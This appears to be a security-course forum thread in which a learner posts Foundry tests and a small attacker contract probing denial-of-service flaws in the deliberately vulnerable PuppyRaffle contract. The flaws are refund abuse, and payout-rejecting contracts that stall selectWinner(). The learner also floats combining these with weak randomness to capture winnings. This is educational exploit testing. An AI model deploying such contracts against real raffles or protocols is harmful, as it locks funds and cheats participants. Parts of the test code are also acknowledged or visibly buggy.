Using PuppyRaffle::refund() for DoS

[blackgrease]

Hi, I am curious in the Security Section 4 we covered Denial of service attacks via gas consumption. In researching other DoS vectors, I found having a contract that cannot receive funds can be a potential DoS vector if the vulnerable contract can send funds. I wanted to see if the PuppyRaffle::refund() could be used as a DoS vector by a contract that sends but does not receive.

I ran a test but it passed...but for the wrong reasons. Im not sure if I am going down a rabbit-hole or onto something. A little guidance would be appreciate. Is it possible with the PuppyRaffle contract?

TestSuite

1. Deploys the Puppy Raffle
2. Deploys the Attacker Contract
3. Executes the attack

Below is my test Suite:

 function setUp() public{

        puppyRaffle = new PuppyRaffle(entranceFee, feeAddress, duration);
        attacker = new DoSViaRefund(puppyRaffle);

    }

    modifier normalPlayers(){
        address[] memory players = new address[](10);
        for(uint256 i=0; i <10;i++){
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);
        _;
    }

   function testDoSViaRefund() public normalPlayers {
        //Attacker Calling function

        uint256 attackerContractBalanceBefore = address(attacker).balance; //should be 0
        console.log("Attacker Contract Before: ", attackerContractBalanceBefore);
         //Approach 1: Did not work due to not being able to use vm.expectRevert because main contract is using an older solidity version
        //attacker.attack{value: 1 ether}();
       
       //Approach2: test passes but not because of the require/success statements are working
        (bool success,) = address(attacker).call{value: 1 ether}(abi.encodeWithSelector(attacker.attack.selector));
        require(!success,"Attack did not revert as expected");
        
        uint256 attackerContractBalanceAfter = address(attacker).balance; //should be 
        uint256 expectedBalance = 0.5 ether;
        //assert(address(attacker).balance == expectedBalance); //when this line in present there is a "InvalidFEOpcode" error

        
        console.log("Attacker Contract After: ",attackerContractBalanceAfter);
        
       //Thoughts: thinking of adding code to send another group of players to see if the contract is responding.


    }

The function in the attacker contract is:

  function attack() public payable{
        address[] memory attacker = new address[](1);
        attacker[0] = address(this);
        victim.enterRaffle{value: 0.5 ether}(attacker);
        attackerIndex = victim.getActivePlayerIndex(address(this));
        victim.refund(attackerIndex);

    }

Here is a screenshot of my console when the test suite is run:

[EngrPips]

Interesting, So how does a single address that enters the raffle not being able to receive funds affect the protocol and other players?

[blackgrease]

Hahah okay this was really fun. Didnt get any DoS with the refund() but I did manage to break the protocol/project by using 4 attack contracts that did not recieve any winner funds essentially breaking the puppyRaffle as the array never resets and old players are still in.

There are a couple of other issues such as keep getting the 0 address as winner but not sure if thats my test code or the actual contract.

I think there is more, something Im missing but Im going to carry on the course and understand more vulnerabilities

[EngrPips]

Getting address(0) as the winner is an issue with the protocol and not your code, I assume. It is nice that you are playing with stuff.

[blackgrease]

1. "It is nice that you are playing with stuff." -> Its definitely more fun that web2 testing (to some extent)
2. "Getting the 0" address seems to be the issue only when a minimum of 4 players is in the raffle. Otherwise, the code seems to work
3. I later realized Patrick covered the vulnerability in the selectWinner() by reverting transactions but in a theoretical manner and after writing some tests, the contract breaks...but it can re-fix itself

If a contract joins with a revert() when winnings are sent, then the array does not reset essentially meaning any existing players are still in play when the raffle restarts and do not have to re-enter the raffle again which essentially breaks the functionality. BUT if the selected winner in the next round accepts the winnings, then the player array resets and the contract "fixes" itself.

An attacker could chain this with the insecure randomness to make sure that they are the winner and can join with multiple malicious contracts and get other people to join and then position themselves to wrack up a lot of the winnings...idk...just a thought that Im not going to run with because...yeah

[EngrPips]

Interesting, I like this theories you are drawing out.

[blackgrease]

Im definietly going to carry on the course and then revist this contract later as a practice. Maybe after I learn what the MEV vulnerability is.

I'll close this shortly so it doesnt clutter the "open" issues category

[EngrPips]

Im definietly going to carry on the course and then revist this contract later as a practice. Maybe after I learn what the MEV vulnerability is.

I'll close this shortly so it doesnt clutter the "open" issues category

No worries. Friend. Looking forward to your revisit

[blackgrease]

I wrote a test that plays

1. First round: 4 malicious contracts. They revert funds
2. 2nd Round: 40 players join and the array is now 44 (winner is not the 4 atacker contracts)
3. 3rd Round: 40 players join and the array is orrectly at 40

Attacker contract function

function attack() public payable{
        address[] memory attacker = new address[](1);
        attacker[0] = address(this);
        victim.enterRaffle{value: 0.5 ether}(attacker);
    }

Test Function

  function setUp() public{

        puppyRaffle = new PuppyRaffle(entranceFee, feeAddress, duration);
        attacker1 = new DoSViaRefund(puppyRaffle);
        attacker2 = new DoSViaRefund(puppyRaffle);
        attacker3 = new DoSViaRefund(puppyRaffle);
        attacker4 = new DoSViaRefund(puppyRaffle);

    }


    function testDoSByWinner() public {
        console.log("Before: The number of players is: ", puppyRaffle.getPlayers());

        //Arrange: making the 4  malicious contracts join
        attacker1.attack{value: 1 ether}(); //funding and calling contract to execute simultaneously
        attacker2.attack{value: 1 ether}(); //funding and calling contract to execute simultaneously
        attacker3.attack{value: 1 ether}(); //funding and calling contract to execute simultaneously
        attacker4.attack{value: 1 ether}(); //funding and calling contract to execute simultaneously
        console.log("After entering: The number of players is: ", puppyRaffle.getPlayers());

        uint256 puppyRaffleBalance = 2 ether;
        assertEq(address(puppyRaffle).balance, puppyRaffleBalance);

        //Act: forcing the raffle to execute
        vm.warp(block.timestamp + duration + 1); //will force the raffle to execute


        //Assert: Something should be broken
        //The funds could not be sent
        vm.expectRevert();
        puppyRaffle.selectWinner(); //initializing selecting winner
        console.log("The winner was: ", puppyRaffle.previousWinner());

        //Adding new players Round2
        uint256 numPlayers = 40;
        address[] memory players = new address[](numPlayers);
        for(uint256 i=0; i < numPlayers;i++){
            players[i] = address(i);
        }

        puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);
        console.log("The puppyRaffle contract balance is: ", address(puppyRaffle).balance);
        console.log("The number of players is: ", puppyRaffle.getPlayers());

        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        puppyRaffle.selectWinner(); //initializing selecting winner
        address winner2 = puppyRaffle.previousWinner(); //asking who was the winner?
        console.log("The winner was: ", winner2);
        console.log("the puppy Raffle balance is: ", address(puppyRaffle).balance);

        //Adding New PLyers round3
        uint256 numPlayers3 = 40;
        address[] memory players3 = new address[](numPlayers3);
        for(uint256 i=0; i < numPlayers3;i++){
            players[i] = address(i);
        }

        puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);
        console.log("The puppyRaffle contract balance is: ", address(puppyRaffle).balance);
        console.log("The number of players is: ", puppyRaffle.getPlayers());

        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        puppyRaffle.selectWinner(); //initializing selecting winner
        address winner3 = puppyRaffle.previousWinner(); //asking who was the winner?
        console.log("The winner was: ", winner3);
        console.log("the puppy Raffle balance is: ", address(puppyRaffle).balance);


    }